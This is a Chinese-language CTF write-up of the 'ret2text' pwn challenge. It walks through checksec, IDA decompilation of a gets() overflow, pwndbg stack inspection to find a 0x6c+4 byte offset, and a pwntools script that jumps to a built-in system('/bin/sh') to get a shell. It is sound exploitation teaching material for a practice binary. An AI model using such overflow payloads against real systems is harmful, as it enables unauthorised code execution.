下载地址
拿到程序首先使用 checksec 检查这个程序的一些信息,运行 checksec ret2text
我们会得到如下信息:
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
可以看出这个程序是 32 位程序,仅开了栈不可执行保护
接着使用 32 位 IDA Pro 打开程序:
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s[100]; // [esp+1Ch] [ebp-64h] BYREF
setvbuf(stdout, 0, 2, 0);
setvbuf(_bss_start, 0, 1, 0);
puts("There is something amazing here, do you know anything?");
gets(s);
printf("Maybe I will tell you next time !");
return 0;
}
可以看到 gets
函数绝对会导致栈溢出的问题,接着我们查看一下这个程序里面的字符串,使用 Shift + F12
即可进入 String 窗口,在 Strings 窗口我们能看到:
.rodata:08048763 00000008 C /bin/sh
这样一条数据,双击,看到这个字段前面的标识符为 command
,用 Alt + T
搜索得到 secure
这个函数中包含 /bin/sh
,双击查看这个字符位置:
.text:0804863A mov dword ptr [esp], offset command ; "/bin/sh"
可以看到其位置为 0804863A,我们在栈溢出的时候返回这个位置就行
接着用 pwndbg 来运行这个程序
gdb ret2text
在调试界面先为 main 函数打上断点:b main
,接着使用 r
命令来执行程序,程序会在 main 函数的位置停止,接着我们使用 n
一步步往下执行,直到我们可以输入,随便输入数据,用 stack 40 来查看栈内存放的数据:
00:0000│ esp 0xffffd370 —▸ 0xffffd38c ◂— 'AAAA'
01:0004│-084 0xffffd374 ◂— 0x0
02:0008│-080 0xffffd378 ◂— 0x1
03:000c│-07c 0xffffd37c ◂— 0x0
04:0010│-078 0xffffd380 —▸ 0xf7fc4540 (__kernel_vsyscall) ◂— push ecx
05:0014│-074 0xffffd384 ◂— 0xffffffff
06:0018│-070 0xffffd388 —▸ 0x8048034 ◂— push es
07:001c│ eax 0xffffd38c ◂— 'AAAA'
08:0020│-068 0xffffd390 —▸ 0xf7ffd600 (_rtld_global+1504) ◂— 0x3
09:0024│-064 0xffffd394 ◂— 0x20 /* ' ' */
0a:0028│-060 0xffffd398 ◂— 0x0
0b:002c│-05c 0xffffd39c —▸ 0xffffd554 ◂— 0x20 /* ' ' */
0c:0030│-058 0xffffd3a0 ◂— 0x0
0d:0034│-054 0xffffd3a4 ◂— 0x0
0e:0038│-050 0xffffd3a8 ◂— 0x1000000
0f:003c│-04c 0xffffd3ac ◂— 9 /* '\t' */
10:0040│-048 0xffffd3b0 —▸ 0xf7fc4540 (__kernel_vsyscall) ◂— push ecx
11:0044│-044 0xffffd3b4 ◂— 0x0
12:0048│-040 0xffffd3b8 —▸ 0xf7c184be ◂— '_dl_audit_preinit'
13:004c│-03c 0xffffd3bc —▸ 0xf7e2a054 (_dl_audit_preinit@got.plt) —▸ 0xf7fdde10 (_dl_audit_preinit) ◂— endbr32
14:0050│-038 0xffffd3c0 —▸ 0xf7fbe4a0 —▸ 0xf7c00000 ◂— 0x464c457f
15:0054│-034 0xffffd3c4 —▸ 0xf7fd6f90 (_dl_fixup+240) ◂— mov edi, eax
16:0058│-030 0xffffd3c8 —▸ 0xf7c184be ◂— '_dl_audit_preinit'
17:005c│-02c 0xffffd3cc —▸ 0xf7fbe4a0 —▸ 0xf7c00000 ◂— 0x464c457f
18:0060│-028 0xffffd3d0 —▸ 0xffffd410 —▸ 0xf7e2a000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x229dac
19:0064│-024 0xffffd3d4 —▸ 0xf7fbe66c —▸ 0xf7ffdba0 —▸ 0xf7fbe780 —▸ 0xf7ffda40 ◂— ...
1a:0068│-020 0xffffd3d8 —▸ 0xf7fbeb10 —▸ 0xf7c1acc6 ◂— 'GLIBC_PRIVATE'
1b:006c│-01c 0xffffd3dc ◂— 0x1
1c:0070│-018 0xffffd3e0 ◂— 0x1
1d:0074│-014 0xffffd3e4 ◂— 0x0
1e:0078│-010 0xffffd3e8 —▸ 0xf7e2a000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x229dac
1f:007c│-00c 0xffffd3ec —▸ 0xf7d20f9b (__init_misc+43) ◂— add esp, 0x10
20:0080│-008 0xffffd3f0 —▸ 0xffffd627 ◂— '/home/ttdly/pwn/ret2text/ret2text'
21:0084│-004 0xffffd3f4 ◂— 0x70 /* 'p' */
22:0088│ ebp 0xffffd3f8 —▸ 0xf7ffd020 (_rtld_global) —▸ 0xf7ffda40 ◂— 0x0
23:008c│+004 0xffffd3fc —▸ 0xf7c21519 (__libc_start_call_main+121) ◂— add esp, 0x10
24:0090│+008 0xffffd400 ◂— 0x1
25:0094│+00c 0xffffd404 —▸ 0xffffd4b4 —▸ 0xffffd627 ◂— '/home/ttdly/pwn/ret2text/ret2text'
26:0098│+010 0xffffd408 —▸ 0xffffd4bc —▸ 0xffffd649 ◂— 'SHELL=/bin/bash'
27:009c│+014 0xffffd40c —▸ 0xffffd420 —▸ 0xf7e2a000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x229dac
可以看到我们输入的字符存放在 0xffffd38c
这个地址,而 ebp 在 0xffffd3f8
的位置,这时我们需要向栈内填充 0x3f8 - 0x38c = 0x6c
个字符,如果想要覆盖调用 main 函数地址位置,我们还需要额外填充 4 个字节,所以最终向栈内写入的字符数为 0x6c+4
大概流程我们已经知道了,接着我们来编写攻击脚本:
from pwn import *
local = process("./ret2text");
target = 0x0804863A # system("/bin/sh") 的位置
payload = b"A" * (0x6c + 4) + p32(target);
local.send(payload);
local.interactive();
使用 python 运行这个脚本之后,我们可以看到终端已经进入了本机的 shell 界面,攻击成功。这个时候我们可以通过 shell 来得到我们的 flag。